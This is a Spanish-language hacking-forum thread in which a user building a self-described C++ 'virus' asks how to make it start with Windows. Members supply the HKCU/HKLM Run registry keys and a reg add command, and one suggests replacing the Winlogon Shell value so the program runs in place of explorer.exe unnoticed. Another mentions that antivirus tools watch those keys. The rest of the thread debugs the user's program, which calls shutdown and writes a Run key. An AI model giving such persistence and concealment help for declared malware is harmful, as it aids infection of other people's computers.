Junio 22, 2018, 08:25:05 pm

Autor Tema: ¿Como hago que un programa de c++ arranque con windows?  (Leído 14783 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado taloman90

  • Me das tu IP?
  • *
  • Mensajes: 81
  • Sexo: Masculino
  • La PIRATERIA y conocimien es lo mejor del Internet
    • Ver Perfil
¿Como hago que un programa de c++ arranque con windows?
« en: Agosto 10, 2015, 07:02:13 pm »
Que tal amigos, he estado programando un virus en c++ y luego de unos cuentos errores lo hice :) fue un gran logro para mi, pero lo que quiero ahora es ver si me pueden dar un codigo para que mi virus se ejecute al arrancar windows, la verdad es que no se como hacerlo, asi que agradeceria mucho si me dieran el codigo. Gracias :)
Programacion en c++

Desconectado Zpukx

  • Me das tu password?
  • **
  • Mensajes: 202
  • Sexo: Masculino
  • =[P0rt4l H4ck3r]=
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #1 en: Agosto 18, 2015, 08:56:45 am »
Va depender como el virus esta codeado, podes trabajar con C++Builder, Visual C++.

Saludos

Desconectado taloman90

  • Me das tu IP?
  • *
  • Mensajes: 81
  • Sexo: Masculino
  • La PIRATERIA y conocimien es lo mejor del Internet
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #2 en: Agosto 22, 2015, 03:35:06 pm »
Mi virus esta hecho en Dev c++ ya he buscado en internet y no encuentro el codigo

Desconectado JPTUBE

  • Me das tu IP?
  • *
  • Mensajes: 36
  • Sexo: Masculino
  • Yo AMO a pOrtal HAcker!
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #3 en: Agosto 23, 2015, 12:33:55 pm »

Hola taloman90,

En windows es muy facil hacer que un programa C/C++ se inicie al arranque del sistema, y da igual si usas Dev-Cpp, Visual Studio, etc...

Lo que tienes que hacer es hacer que el programa se añada a si mismo al registro, es decir, si nuestro ejecutable esta en "C:/programa.exe" tienes que añadir a cierta entrada en el registro esa direccion. Ahora mismo no tengo a mano las direcciones del registro ni el codigo, busca en google y si no lo encuentras cuando ande por casa te lo paso.

Un saludo.

PD: TIenes que saber tambien que hay 2 entradas de registro que hacen lo mismo, la unica diferencia es que una requiere permisos de administrador (y hace que el programa se ejecute en todos los usuarios al iniciar) y otra que no requiere privilegios (pero que el programa solo se ejecuta al inicio en el usuario que lo añadio al registro)


Desconectado JPTUBE

  • Me das tu IP?
  • *
  • Mensajes: 36
  • Sexo: Masculino
  • Yo AMO a pOrtal HAcker!
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #4 en: Agosto 23, 2015, 12:53:43 pm »
Hola de nuevo, estos son las keys:

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]  (no requiere admin pero solo se ejecuta en el usuario que lo añade)

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] (requiere admin y se inicia en todos los usuarios)

Para añadirlo tienes dos formas:

FACIL:
system("reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v <nombre del valor>  /d <ruta del archivo>");

(no la recomiendo porque usa system(); y no es recomendable usarlo pero bueno..

DIFICIL:
Usar la API de windows para añadirlo al registro, busca info en google que no es muy complejo. (por si acaso te dejo algo de info: You are not allowed to view links. Register or Login)


Un saludo!

PD: Si es para un malware ten en cuenta que los antivirus monitorizan esas claves bastante.

Desconectado seth

  • El mas real
  • G#
  • **
  • Mensajes: 7936
  • Sexo: Masculino
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #5 en: Agosto 23, 2015, 02:46:49 pm »
Tambien hay otras formas, esa es una de las mas comunes

Por ejemplo, en xp habia una clave en el registro que apuntaba a la ubicacion de explorer.exe. Cambiabas esa ruta por la de tu programa y cuando se ejecutaba desde ahi ejecutabas explorer para que no se note
No se si sigue andando


Ves links a xd-blog.com.ar que no andan? buscalos en You are not allowed to view links. Register or Login

Desconectado JPTUBE

  • Me das tu IP?
  • *
  • Mensajes: 36
  • Sexo: Masculino
  • Yo AMO a pOrtal HAcker!
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #6 en: Agosto 26, 2015, 09:03:44 am »

Pues parece que esta en vista y yo lo he comprobado en win 8.1 y parece que está (no he probado a modificarlo)

Estaria en:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon
Shell
"explorer.exe"  -> Supongo que modificandolo?

Un saludo

Desconectado seth

  • El mas real
  • G#
  • **
  • Mensajes: 7936
  • Sexo: Masculino
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #7 en: Agosto 27, 2015, 07:30:51 pm »
Probá

Si no anda, lo volves a dejar como estaba

Desconectado taloman90

  • Me das tu IP?
  • *
  • Mensajes: 81
  • Sexo: Masculino
  • La PIRATERIA y conocimien es lo mejor del Internet
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #8 en: ſeptiembre 05, 2015, 12:54:41 pm »
Que tal amigos, Gracias por sus respuestas, queria decirles que ya probre y a la hora de compilar mi virus me aparece error, aqui les dejo el codigo de mi virus:
#include <cstdlib>
#include <iostream>
#include <stdio.h>
#include <conio.h>

using namespace std;

int main(int argc, char *argv[])
{
    system("shutdown");
    system("reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v hku /d C:\Users\Valenzuela\Desktop");
    getch();
}
PD: Este no es el codigo del virus es algo simple
De antemano Gracias

Desconectado seth

  • El mas real
  • G#
  • **
  • Mensajes: 7936
  • Sexo: Masculino
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #9 en: ſeptiembre 06, 2015, 03:14:20 pm »
Y cual es el error? es mas facil solucrionarlo si mostras el mensaje que te da

Desconectado taloman90

  • Me das tu IP?
  • *
  • Mensajes: 81
  • Sexo: Masculino
  • La PIRATERIA y conocimien es lo mejor del Internet
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #10 en: ſeptiembre 07, 2015, 08:11:38 am »
perdon, este es el mensaje que me da.
11:12 C:\Users\Valenzuela\Desktop\Aplicaciones\Dev-CppPortable\App\devcpp\virus1.2.cpp incomplete universal character name \U
11:12 C:\Users\Valenzuela\Desktop\Aplicaciones\Dev-CppPortable\App\devcpp\virus1.2.cpp [Warning] unknown escape sequence '\V'
11:12 C:\Users\Valenzuela\Desktop\Aplicaciones\Dev-CppPortable\App\devcpp\virus1.2.cpp [Warning] unknown escape sequence '\D'
 C:\Users\Valenzuela\Desktop\Aplicaciones\Dev-CppPortable\App\devcpp\Makefile.win [Build Error]  [virus1.2.o] Error 1
---------------
una de las cosas que no entendi muy bien, es que lo que tengo que poner en el nombre de valor y ruta del archivo,
system("reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v <nombre del valor>  /d <ruta del archivo>")
Gracias

Desconectado seth

  • El mas real
  • G#
  • **
  • Mensajes: 7936
  • Sexo: Masculino
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #11 en: ſeptiembre 07, 2015, 05:06:39 pm »
Te tira error por esto: You are not allowed to view links. Register or Login
tenes que reemplazar \ por \\

/v es para ponerle el nombre de la entrada
/d es para ponerle el valor

La entrada de /run puede tener el nombre que vos quieras
La de winlogon se llama Shell, me parece

Desconectado taloman90

  • Me das tu IP?
  • *
  • Mensajes: 81
  • Sexo: Masculino
  • La PIRATERIA y conocimien es lo mejor del Internet
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #12 en: ſeptiembre 07, 2015, 08:59:32 pm »
Gracias por tu respuesta, trate de componer el codigo pero me da el mismo error, sera que me podrias poner un ejemplo porfavor?

Desconectado seth

  • El mas real
  • G#
  • **
  • Mensajes: 7936
  • Sexo: Masculino
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #13 en: ſeptiembre 08, 2015, 05:20:18 pm »
Suponete que queres un string con el siguiente contenido: asd\tasd
si lo pones tal cual, \t lo va a tomar como una secuencia de escape, por lo tanto el contenido del string va a ser asd<tab>asd
Si en lugar de \t tenes \V va a dar error porque \V no es una secuencia de escape valida
\\ si es una secuencia de escape valida y en el string queda como una barra literal: \
o sea, que para meter asd\tasd tenes que escribir asd\\tasd y para meter asd\Vasd tenes que escribir asd\\Vasd

lo mismo aplica a tu codigo

Desconectado taloman90

  • Me das tu IP?
  • *
  • Mensajes: 81
  • Sexo: Masculino
  • La PIRATERIA y conocimien es lo mejor del Internet
    • Ver Perfil
Re:¿Como hago que un programa de c++ arranque con windows?
« Respuesta #14 en: ſeptiembre 08, 2015, 09:00:18 pm »
Gracias amigo, el error ya se soluciono, ahora si ya me compila bien el programa, pero ahora resulto otro error, pero este es en cmd, me aparece: "Error: sintexis incorrecta escriba Reg add /? para obtener detalles".
Claro que es el error de esta sintexis:
system("reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run //v 12 //d C:\\Users\\Valenzuela\\Desktop "); la verdad es que no se cual es el error aqui porque el "12" lo puse como un valor y C:\\Users\\Valenzuela\\Desktop es la ruta donde esta mi archivo, no se si estoy dandome a entender, me podrias explicar el error?, perdon por tantas preguntas, pero me interesa aprender, Gracias


xx
un programa para grabar lo que hago en Windows

Iniciado por Aspirante_Hacker

11 Respuestas
12798 Vistas
Último mensaje Febrero 17, 2010, 12:56:38 pm
por ARMAGEDDON1023
resuelto
Como quitar administrador de arranque de windows

Iniciado por lealesdibua

1 Respuestas
1408 Vistas
Último mensaje Enero 31, 2012, 12:27:25 pm
por lealesdibua
xx
como conseguir que windows vista arranque mas rapido

Iniciado por impulsiu

9 Respuestas
1791 Vistas
Último mensaje Abril 05, 2011, 03:35:18 am
por impulsiu
question
Como puedo formatear windows xp si no tengo disco de arranque

Iniciado por metralla

4 Respuestas
2383 Vistas
Último mensaje Enero 06, 2011, 09:04:51 pm
por Bl@ster25
xx
¿Como Hago un Bat que ejecute un programa?

Iniciado por egeahh

10 Respuestas
5820 Vistas
Último mensaje Enero 02, 2008, 11:27:37 pm
por egeahh
xx
como hago para esconder un programa

Iniciado por poniso2000ar

3 Respuestas
2697 Vistas
Último mensaje Agosto 31, 2008, 10:16:53 am
por poniso2000ar
xx
como hago para q mi programa no se maximise????

Iniciado por kiasyd

2 Respuestas
1324 Vistas
Último mensaje Noviembre 20, 2006, 09:06:08 am
por kiasyd
question
como hago fuerza bruta a un programa

Iniciado por darkness_col

1 Respuestas
840 Vistas
Último mensaje Julio 15, 2011, 01:34:04 pm
por soez
xx
como hago para ver el codigo de fuente de un programa??

Iniciado por Fhaker

1 Respuestas
1992 Vistas
Último mensaje Abril 26, 2007, 11:23:24 am
por Ther0x
xx
Como hago para que mi programa registre las teclas

Iniciado por [N]E[Z]

4 Respuestas
1527 Vistas
Último mensaje Junio 14, 2009, 09:57:03 pm
por EddyW